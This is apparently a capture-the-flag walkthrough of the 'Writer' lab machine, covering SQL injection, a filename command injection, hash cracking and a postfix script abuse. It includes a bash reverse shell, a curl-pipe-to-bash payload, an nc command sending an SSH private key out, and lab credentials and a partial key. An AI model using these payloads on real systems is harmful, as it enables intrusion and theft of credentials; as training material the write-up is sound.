# Writer

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2F5cA4hNgV8duzh4tzSTge%2Fwriter.png?alt=media\&token=09350d88-6024-4d82-870a-778fc818480f)

## Enumeration

As usual, we start with an nmap scan, in order to find open ports in the target machine.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

> nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.11.101 -oN allPorts

* `-sS` use the **TCP SYN** scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
* `--min-rate 5000` nmap will try to keep the sending rate **at or above** 5000 packets per second.
* `-p-` scanning the entire port range, **from 1 to 65535**.
* `-T5` **insane** mode, it is the fastest mode of the nmap time template.
* `-Pn` assume the host is **online**.
* `-n` scan without reverse **DNS** resolution.
* `-oN` **save** the scan result into a file, in this case the *allports* file.

```
# Nmap 7.92 scan initiated Thu Mar  3 21:48:08 2022 as: nmap -sS -p- -T5 --min-rate 5000 -n -Pn -oN allPorts 10.10.11.101
Warning: 10.10.11.101 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.11.101
Host is up (0.091s latency).
Not shown: 65531 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

# Nmap done at Thu Mar  3 21:48:25 2022 -- 1 IP address (1 host up) scanned in 17.17 seconds
```

As we see, ports 22 (SSH), 80 (HTTP), 139 and 445 (SMB) are open. Let's try to obtain more information about the services and versions running on those ports.

> nmap -sC -sV -p22,80,139,445 10.10.11.101 -oN targeted

* `-sC` performs the scan using the default set of **scripts**.
* `-sV` enables **version** detection.
* `-oN` **save** the scan result into file, in this case the *targeted* file.

```
# Nmap 7.92 scan initiated Thu Mar  3 21:49:35 2022 as: nmap -sCV -p22,80,139,445 -oN targeted 10.10.11.101
Nmap scan report for 10.10.11.101
Host is up (0.052s latency).

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA)
|   256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA)
|_  256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Story Bank | Writer.HTB
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time: 
|   date: 2022-03-03T20:49:49
|_  start_date: N/A
|_nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar  3 21:49:51 2022 -- 1 IP address (1 host up) scanned in 15.88 seconds
```

If we take a look at the website, we'll see a blog which doesn't have anything interesting.

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2F8TYxsM4zWsWpmFJifIxn%2FCaptura%20de%20pantalla%202022-03-04%20195354.png?alt=media\&token=9276cb33-b3ec-46f9-bb41-251210112eac)

Let's try to enumerate directories with gobuster.

> gobuster dir -u <http://10.10.11.101> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200

* `dir` enumerates **directories or files**.
* `-u` the **target** URL.
* `-w` path to the **wordlist**.
* `-t` number of current **threads**, in this case 200 threads.

```
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.101
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/03/04 20:04:10 Starting gobuster in directory enumeration mode
===============================================================
/static               (Status: 301) [Size: 313] [--> http://10.10.11.101/static/]
/logout               (Status: 302) [Size: 208] [--> http://10.10.11.101/]       
/contact              (Status: 200) [Size: 4905]                                 
/about                (Status: 200) [Size: 3522]                                 
/dashboard            (Status: 302) [Size: 208] [--> http://10.10.11.101/]       
/administrative       (Status: 200) [Size: 1443]                                 
/server-status        (Status: 403) [Size: 277]                                  
                                                                                 
===============================================================
2022/03/04 20:09:24 Finished
===============================================================
```

## Exploitation

If we take a look at the `/administrative` directory, we'll see a login page.

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2F48lUuxbJDqqeBx9rE0sG%2FCaptura%20de%20pantalla%202022-03-04%20200625.png?alt=media\&token=50e7199a-38b7-4281-90fc-aa12fadff212)

At this point, I tried to bypass the login page with a basic *SQL injection* payload, logging in as the user `' or 1=1-- -` and a random password.

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FXECP68O07VKgK606wNzM%2FCaptura%20de%20pantalla%202022-03-04%20201028.png?alt=media\&token=c272e513-8e48-41e5-8aac-41cc8b132e53)

If we hit the `Sign in` button, we'll be redirected to the `/dashboard` page.

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FxwjbGsdnINjtvGsggwXn%2FCaptura%20de%20pantalla%202022-03-04%20201206.png?alt=media\&token=70169a27-cd98-4904-9099-b8bfeee00493)

Before inspecting the `/dashboard` page, we could try to enumerate the database with the *SQL injection* we found before. Let's open *Burpsuite*, and send the log in request to the *Repeater*.

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FnXVMqSLyBjqnT2BpS1Bk%2FCaptura%20de%20pantalla%202022-03-04%20204121.png?alt=media\&token=db425289-4f21-42ed-a326-c38b8c40f021)

To enumerate the database, we'll have to know how many columns have the current table. We can do it by selecting *n* number of columns and keep incrementing the *n* number until we get a different response. If we select only one column, we should get `Admin Panel` as the title of the page.

> uname=<mark style="color:red;">' union select 1-- -</mark>\&password=admin

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FKKhXwmJZDh9esXtgHKZS%2FCaptura%20de%20pantalla%202022-03-04%20204912.png?alt=media\&token=5ec29981-b557-4ac0-b856-c39e81aa614c)

But, if we keep incrementing the number of columns, we'll see that we'll get a different response by selecting six columns.

> uname=<mark style="color:red;">' union select 1,2,3,4,5,6-- -</mark>\&password=admin

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FKBIK90BxgcDl5uCkNPvT%2FCaptura%20de%20pantalla%202022-03-04%20205256.png?alt=media\&token=63cca24f-a7a9-4524-9d99-b3c90024af8c)

Now the response has the `Redirecting | Writer.HTB` title, and we can also see that the second column appears in the response, which means that if we select something else, like the user of the database, it will appear in the response.

> uname=<mark style="color:red;">' union select 1,user(),3,4,5,6-- -</mark>\&password=admin

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FUT66p6bIFMUmhJtA8Eja%2FCaptura%20de%20pantalla%202022-03-04%20205654.png?alt=media\&token=e5d527be-7561-44a5-bf11-5c26f49228b0)

Now we could try to enumerate the whole database, but I tell you in advance that the only interesting thing that you'll find is a *MD5* password hash, which can't be broken. But, as *MySQL* has the `load_file()` function, which allow us to get the content of local files, we could see the system users loading the `/etc/passwd` file.

> uname=<mark style="color:red;">' union select 1,load\_file("/etc/passwd"),3,4,5,6-- -</mark>\&password=admin

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2Faa41tNy7rMA49QMXru3w%2FCaptura%20de%20pantalla%202022-03-07%20105239.png?alt=media\&token=4932d42d-4de3-417f-9f96-6615cb70cc07)

Now we know that `kyle` and `john` are system users. On the other hand, if we go back to the website, we can see that the *Wappalyzer* extension detected that the website uses an *Apache* server.

{% hint style="info" %}
**Wappalyzer** is a browser extension capable of detecting the technology stack of any website. It reveals the technology stack of any website, such as CMS, ecommerce platform or payment processor, as well as company and contact details.

<https://www.wappalyzer.com/>
{% endhint %}

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FV5zxHUsvjNWSpapNi14h%2FCaptura%20de%20pantalla%202022-03-04%20210314.png?alt=media\&token=4973dfa0-2ce1-45b3-b65a-2c8c783a3d8e)

As we can load files, we could load the `/etc/apache2/sites-available/000-default.conf` file which is the *Apache* configuration file of the website.

> uname=<mark style="color:red;">' union select 1,load\_file("/etc/apache2/sites-available/000-default.conf"),3,4,5,6-- -</mark>\&password=admin

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FuJclYu8XWhjgoI7hcmJV%2FCaptura%20de%20pantalla%202022-03-04%20210806.png?alt=media\&token=e2195627-a947-4688-9c67-66a93114508b)

From this information we know that the `/static` directory, we found earlier with *gobuster*, is located in `/var/www/writer.htb/writer/static`. And we can also see there is a `.wsgi` file. If we take a look at it we should see a python script.

> uname=<mark style="color:red;">' union select 1,load\_file("/var/www/writer.htb/writer.wsgi"),3,4,5,6-- -</mark>\&password=admin

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FWXJbXXLMJsKAkoBuLgBn%2FCaptura%20de%20pantalla%202022-03-04%20225202.png?alt=media\&token=e0bcec2e-5434-47d1-9f1e-7b44fe6535ca)

```python
Welcome #!/usr/bin/python
import sys
import logging
import random
import os

# Define logging
logging.basicConfig(stream=sys.stderr)
sys.path.insert(0,"/var/www/writer.htb/")

# Import the __init__.py from the app folder
from writer import app as application
application.secret_key = os.environ.get("SECRET_KEY", "")
```

This python script is importing the `__init__.py` file from the `writer` folder. If we take a look at it, we will see a fairly long script.

> uname=<mark style="color:red;">' union select 1,load</mark>*<mark style="color:red;">file("/var/www/writer.htb/writer/</mark>*<mark style="color:red;">\_\_init\_\_.py"),3,4,5,6-- -</mark>\&password=admin

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2Fitk7JcXiLUnxqA4cPuBI%2FCaptura%20de%20pantalla%202022-03-06%20202315.png?alt=media\&token=6b2a7c40-e8f1-4040-903d-8ee913831602)

As the script has some characters in hexadecimal, to convert them to *ASCII* I will put the entire code in the `hex_script.py` file and execute the following command, so we can read the script more easily on the `script.py` file.

> cat hex\_script.py | sed 's/\&#34;/"/g' | sed "s/\&#39;/'/g" > script.py

But before inspecting the python script, let's keep exploring the website, now that we have access to the `/dashboard` page. We see that there is a *Stories* section in which we can add or edit stories.

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FCJaqXHBHbp4AxwOyNWkC%2FCaptura%20de%20pantalla%202022-03-06%20205827.png?alt=media\&token=6124e5c7-bb2b-4fac-94d7-e9a00d96f0d6)

Let's add one story and put some random stuff in all the text fields.

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2F6lMHrPWKg5bewvmqzL9Y%2FCaptura%20de%20pantalla%202022-03-06%20210432.png?alt=media\&token=ead30e24-1a83-477b-84b5-e5cbd9a4fde2)

Hit the *Save* button, intercept the request with *Burpsuite* and send it to the *Repeater*. If you look closely at the request, you'll see that the `image_url` parameter, which is empty, is a hidden parameter in the `/dashboard/stories/add` page.

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FBBemcWcL9FEwLCA6wxEb%2FCaptura%20de%20pantalla%202022-03-06%20210548.png?alt=media\&token=c34e461d-bc36-4d99-b05a-45651f56ff19)

To understand a bit more what is going on, let's go back to the python script we found earlier. If you inspect the code, you'll see that under the `add_story` function, triggered in the `/dashboard/stories/add` directory, we can upload files which need to have `.jpg` in the name. Those files will be stored in the `/var/www/writer.htb/writer/static/img/` folder. The hidden `image_url` parameter we found earlier also need to have `.jpg` in the name. And the script executes a command at a system level which renames the file indicated on the `image_url` parameter.

```python
@app.route('/dashboard/stories/add', methods=['GET', 'POST'])
def add_story():
    if not ('user' in session):
        return redirect('/')
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return ("Database error")
    if request.method == "POST":
        if request.files['image']:
            image = request.files['image']
            if ".jpg" in image.filename:
                path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
                image.save(path)
                image = "/img/{}".format(image.filename)
            else:
                error = "File extensions must be in .jpg!"
                return render_template('add.html', error=error)

        if request.form.get('image_url'):
            image_url = request.form.get('image_url')
            if ".jpg" in image_url:
                try:
                    local_filename, headers = urllib.request.urlretrieve(image_url)
                    os.system("mv {} {}.jpg".format(local_filename, local_filename))
                    image = "{}.jpg".format(local_filename)
                    try:
                        im = Image.open(image) 
                        im.verify()
                        im.close()
                        image = image.replace('/tmp/','')
                        os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
                        image = "/img/{}".format(image)
                    except PIL.UnidentifiedImageError:
                        os.system("rm {}".format(image))
                        error = "Not a valid image file!"
                        return render_template('add.html', error=error)
                except:
                    error = "Issue uploading picture"
                    return render_template('add.html', error=error)
            else:
                error = "File extensions must be in .jpg!"
                return render_template('add.html', error=error)
        author = request.form.get('author')
        title = request.form.get('title')
        tagline = request.form.get('tagline')
        content = request.form.get('content')
        cursor = connector.cursor()
        cursor.execute("INSERT INTO stories VALUES (NULL,%(author)s,%(title)s,%(tagline)s,%(content)s,'Published',now(),%(image)s);", {'author':author,'title': title,'tagline': tagline,'content': content, 'image':image })
        result = connector.commit()
        return redirect('/dashboard/stories')
    else:
        return render_template('add.html')
```

It's time to get a shell. First, let's set a netcat listener.

> nc -lvnp 4444

* `-l` **listen** mode.
* `-v` **verbose** mode.
* `-n` **numeric-only** IP, no DNS resolution.
* `-p` specify the **port** to listen on.

As the script executes a command at a system level, we could try to break it with and execute whatever we want. First, let's create a file called `index.html` with the following content.

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.11/4444 0>&1
```

Next, let's set an *HTTP* server on port *80* with python.

> python -m http.server 80

* `-m` run library **module** as a script.

If we change the `file_name` of the `image` parameter to `` image.jpg;`curl 10.10.14.11|bash` `` and then fill the `image_url` parameter with `file:///var/www/writer.htb/writer/static/img/test.jpg;curl 10.10.14.11|bash`. The website will upload the image with that name, then it will execute the command on the name which basically will *curl* our local machine and execute the content on the `index.html` file, which sends us back a reverse shell.

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FSSB5qfGCKv18ZPXy1h1f%2FCaptura%20de%20pantalla%202022-03-06%20223259.png?alt=media\&token=b82ddde9-04fe-4a53-bac2-6cd00f8979a5)

```
------WebKitFormBoundary4r5J0Ufk1wPWlJly
Content-Disposition: form-data; name="image"; filename="test.jpg;`curl 10.10.14.11|bash`"
Content-Type: application/octet-stream


------WebKitFormBoundary4r5J0Ufk1wPWlJly
Content-Disposition: form-data; name="image_url"

file:///var/www/writer.htb/writer/static/img/test.jpg;`curl 10.10.14.11|bash`
```

And we should get a shell as the `www-data` user.

```
listening on [any] 4444 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.101] 59942
bash: cannot set terminal process group (1062): Inappropriate ioctl for device
bash: no job control in this shell
www-data@writer:/$ whoami
whoami
www-data
```

## Privilege Escalation

Let's set an interactive shell.

> script /dev/null -c bash

At this point I started enumerating the machine and I found some credentials for the *MySQL* server on `/etc/mysql/my.cnf`.

> cat /etc/mysql/my.cnf

```
# The MariaDB configuration file
#
# The MariaDB/MySQL tools read configuration files in the following order:
# 1. "/etc/mysql/mariadb.cnf" (this file) to set global defaults,
# 2. "/etc/mysql/conf.d/*.cnf" to set global options.
# 3. "/etc/mysql/mariadb.conf.d/*.cnf" to set MariaDB-only options.
# 4. "~/.my.cnf" to set user-specific options.
#
# If the same option is defined multiple times, the last one will apply.
#
# One can use all long options that the program supports.
# Run program with --help to get a list of available options and with
# --print-defaults to see which it would actually understand and use.

#
# This group is read both both by the client and the server
# use it for options that affect everything
#
[client-server]

# Import all .cnf files from configuration directory
!includedir /etc/mysql/conf.d/
!includedir /etc/mysql/mariadb.conf.d/

[client]
database = dev
user = djangouser
password = DjangoSuperPassword
default-character-set = utf8
```

Let's connect to the *MySQL* server with these credentials.

> mysql -u djangouser -pDjangoSuperPassword

* `-u` **user** for login.
* `-p` **password** for login.

```
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 196
Server version: 10.3.29-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [dev]>
```

Let's see what databases the `djangouser` user can access.

> show databases;

```
+--------------------+
| Database           |
+--------------------+
| dev                |
| information_schema |
+--------------------+
2 rows in set (0.001 sec)
```

Let's explore the `dev` database.

> use dev;

```
Database changed
```

Let's list the tables of the database.

> show tables;

```
+----------------------------+
| Tables_in_dev              |
+----------------------------+
| auth_group                 |
| auth_group_permissions     |
| auth_permission            |
| auth_user                  |
| auth_user_groups           |
| auth_user_user_permissions |
| django_admin_log           |
| django_content_type        |
| django_migrations          |
| django_session             |
+----------------------------+
10 rows in set (0.001 sec)
```

Let's see the columns of the `auth_user` table.

> describe auth\_user;

```
+--------------+--------------+------+-----+---------+----------------+                                                                                                 
| Field        | Type         | Null | Key | Default | Extra          |                                                                                                 
+--------------+--------------+------+-----+---------+----------------+                                                                                                 
| id           | int(11)      | NO   | PRI | NULL    | auto_increment |                                                                                                 
| password     | varchar(128) | NO   |     | NULL    |                |
| last_login   | datetime(6)  | YES  |     | NULL    |                |
| is_superuser | tinyint(1)   | NO   |     | NULL    |                |
| username     | varchar(150) | NO   | UNI | NULL    |                |
| first_name   | varchar(150) | NO   |     | NULL    |                |
| last_name    | varchar(150) | NO   |     | NULL    |                |
| email        | varchar(254) | NO   |     | NULL    |                |
| is_staff     | tinyint(1)   | NO   |     | NULL    |                |
| is_active    | tinyint(1)   | NO   |     | NULL    |                |
| date_joined  | datetime(6)  | NO   |     | NULL    |                |
+--------------+--------------+------+-----+---------+----------------+
11 rows in set (0.001 sec)
```

Finally, let's select the columns *username*, and *password* from the `auth_user` table.

> select username, password from auth\_user;

```
+----------+------------------------------------------------------------------------------------------+
| username | password                                                                                 |
+----------+------------------------------------------------------------------------------------------+
| kyle     | pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A= |
+----------+------------------------------------------------------------------------------------------+
1 row in set (0.001 sec)
```

And we get a password hash. We can break it with *hashcat*. With the following command we'll see that we'll have to use the *10000* hash type.

> hashcat --example-hashes | grep pbkdf2\_sha256 -B 11

```
Hash mode #10000
  Name................: Django (PBKDF2-SHA256)
  Category............: Framework
  Slow.Hash...........: Yes
  Password.Len.Min....: 0
  Password.Len.Max....: 256
  Salt.Type...........: Embedded
  Salt.Len.Min........: 0
  Salt.Len.Max........: 256
  Kernel.Type(s)......: pure
  Example.Hash.Format.: plain
  Example.Hash........: pbkdf2_sha256$10000$1135411628$bFYX62rfJobJ07VwrUMXfuffLfj2RDM2G6/BrTrUWkE=
```

If we break the hash with hashcat we'll see that the password is `marcoantonio`.

> hashcat -a 0 -m 10000 hash /usr/share/wordlists/rockyou.txt

* `-a` **attack** mode.
* `-m` **hash** type.

```
hashcat (v6.2.5) starting

OpenCL API (OpenCL 2.0 pocl 1.8  Linux, None+Asserts, RELOC, LLVM 11.1.0, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=====================================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i7-6500U CPU @ 2.50GHz, 1441/2947 MB (512 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 5 secs

pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=:marcoantonio
                                                                                                                                                                        
Session..........: hashcat                                                                                                                                              
Status...........: Cracked                                                                                                                                              
Hash.Mode........: 10000 (Django (PBKDF2-SHA256))                                                                                                                       
Hash.Target......: pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8...uXM4A=                                                                                         
Time.Started.....: Sun Mar  6 23:09:23 2022 (7 mins, 25 secs)                                                                                                           
Time.Estimated...: Sun Mar  6 23:16:48 2022 (0 secs)                                                                                                                    
Kernel.Feature...: Pure Kernel                                                                                                                                          
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)                                                                                                              
Guess.Queue......: 1/1 (100.00%)                                                                                                                                        
Speed.#1.........:       21 H/s (10.36ms) @ Accel:32 Loops:1024 Thr:1 Vec:8                                                                                             
Recovered........: 1/1 (100.00%) Digests                                                                                                                                
Progress.........: 9408/14344385 (0.07%)                                                                                                                                
Rejected.........: 0/9408 (0.00%)                                                                                                                                       
Restore.Point....: 9344/14344385 (0.07%)                                                                                                                                
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:259072-259999                                                                                                         
Candidate.Engine.: Device Generator                                                                                                                                     
Candidates.#1....: jodete -> 120287                                                                                                                                     
Hardware.Mon.#1..: Util: 89%

Started: Sun Mar  6 23:05:30 2022
Stopped: Sun Mar  6 23:16:51 2022
```

Then I tried to log in with the user `kyle` and the password `marcoantonio` via *SSH*, and it worked.

> ssh kyle\@10.10.11.101

```
kyle@10.10.11.101's password: marcoantonio
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon  7 Mar 09:55:25 UTC 2022

  System load:           0.24
  Usage of /:            64.7% of 6.82GB
  Memory usage:          20%
  Swap usage:            0%
  Processes:             256
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.101
  IPv6 address for eth0: dead:beef::250:56ff:feb9:16c5


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Wed Jul 28 09:03:32 2021 from 10.10.14.19
kyle@writer:~$
```

Now we can grab the user flag.

> cat user.txt

```
2148d5b4050f19b4a153da1640bedf8f
```

If we check the groups that the user `kyle` is a member of, we can see that he belongs to the `filter` group.

> id

```
uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),997(filter),1002(smbgroup)
```

Let's see what files have the `filter` group as the owner group.

> find / -group filter 2>/dev/null

```
/etc/postfix/disclaimer
/var/spool/filter
```

As the `/var/spool/filter` folder is empty, let's work with the `/etc/postfix/disclaimer` file. Let's see its permissions.

> ls -l /etc/postfix/disclaimer

```
-rwxrwxr-x 1 root filter 1021 Mar  7 10:12 /etc/postfix/disclaimer
```

So we can read, edit and execute the `/etc/postfix/disclaimer` file. *Postfix* is a mail server which runs on port *25*.

> netstat -nat

```
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN     
tcp        0     36 10.10.11.101:22         10.10.14.11:35718       ESTABLISHED
tcp        0      0 10.10.11.101:60234      10.10.14.11:4444        ESTABLISHED
tcp        0      1 10.10.11.101:36806      1.1.1.1:53              SYN_SENT   
tcp6       0      0 :::445                  :::*                    LISTEN     
tcp6       0      0 :::139                  :::*                    LISTEN     
tcp6       0      0 :::80                   :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN
```

And every time an email arrives, the scripts in the file `/etc/postfix/master.cf` are executed. Luckily for us, if we see at the bottom of the file, we'll see that the `/etc/postfix/disclaimer` is being executed by the user `john`.

> cat /etc/postfix/master.cf

```
dfilt     unix  -       n       n       -       -       pipe
  flags=Rq user=john argv=/etc/postfix/disclaimer -f ${sender} -- ${recipient}
```

The user `john` has in his home directory the `.ssh` folder which might have an `id_rsa` file.

> ls -la /home/john/

```
total 28
drwxr-xr-x 4 john john 4096 Aug  5  2021 .
drwxr-xr-x 4 root root 4096 Jul  9  2021 ..
lrwxrwxrwx 1 root root    9 May 19  2021 .bash_history -> /dev/null
-rw-r--r-- 1 john john  220 May 14  2021 .bash_logout
-rw-r--r-- 1 john john 3771 May 14  2021 .bashrc
drwx------ 2 john john 4096 Jul 28  2021 .cache
-rw-r--r-- 1 john john  807 May 14  2021 .profile
drwx------ 2 john john 4096 Jul  9  2021 .ssh
```

The idea here is to edit the `/etc/postfix/disclaimer` file, so when we send a random email, the script will send us the `id_rsa` file of the user `john`.

We have to send an email to a user that must exists, and we can find some valid emails on the `/etc/postfix/disclaimer_addresses` file.

> cat /etc/postfix/disclaimer\_addresses

```
root@writer.htb
kyle@writer.htb
```

Next step, let's create a python script on the `writer` machine, which will send an email to `kyle@writer.htb`.

```python
import smtplib                                                                                                                                                                                                                               
                                                                                                                                                                                                                                             
smtp_server = "127.0.0.1"                                                                                                                                                                                                                    
port = 25                                                                                                                                                                                                                                    
sender_email = "kyle@writer.htb"                                                                                                                                                                                                             
receiver_email = "kyle@writer.htb"                                                                                                                                                                                                           
message = "test"                                                                                                                                                                                                                             
                                                                                                                                                                                                                                             
try:                                                                                                                                                                                                                                         
    server = smtplib.SMTP(smtp_server,port)                                                                                                                                                                                                  
    server.sendmail(sender_email, receiver_email, message)
except Exception as e:
    print(e)
finally:
    server.quit()
```

Next, let's set a netcat listener on port *1234*, and save the output in a file called `id_rsa`.

> nc -lvnp 1234 > id\_rsa

* `-l` **listen** mode.
* `-v` **verbose** mode.
* `-n` **numeric-only** IP, no DNS resolution.
* `-p` specify the **port** to listen on.

Then we will have to edit the `/etc/postfix/disclaimer` file, remove everything, and write a command that will send the `id_rsa` file of the `john` user to our *netcat* listener.

> nano /etc/postfix/disclaimer

```bash
#!/bin/sh
nc 10.10.14.11 1234 < /home/john/.ssh/id_rsa
```

Finally, all we have to do is execute the python script we made to send the random email, and we should get the `id_rsa` file of the `john` user on our netcat listener.

> python3 send.py

On the netcat listener.

```
listening on [any] 1234 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.101] 35196
```

> cat id\_rsa

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAxqOWLbG36VBpFEz2ENaw0DfwMRLJdD3QpaIApp27SvktsWY3hOJz
wC4+LHoqnJpIdi/qLDnTx5v8vB67K04f+4FJl2fYVSwwMIrfc/+CHxcTrrw+uIRVIiUuKF
OznaG7QbqiFE1CsmnNAf7mz4Ci5VfkjwfZr18rduaUXBdNVIzPwNnL48wzF1QHgVnRTCB3
i76pHSoZEA0bMDkUcqWuI0Z+3VOZlhGp0/v2jr2JH/uA6U0g4Ym8vqgwvEeTk1gNPIM6fg
9xEYMUw+GhXQ5Q3CPPAVUaAfRDSivWtzNF1XcELH1ofF+ZY44vcQppovWgyOaw2fAHW6ea
TIcfhw3ExT2VSh7qm39NITKkAHwoPQ7VJbTY0Uj87+j6RV7xQJZqOG0ASxd4Y1PvKiGhke
tFOd6a2m8cpJwsLFGQNtGA4kisG8m//aQsZfllYPI4n4A1pXi/7NA0E4cxNH+xt//ZMRws
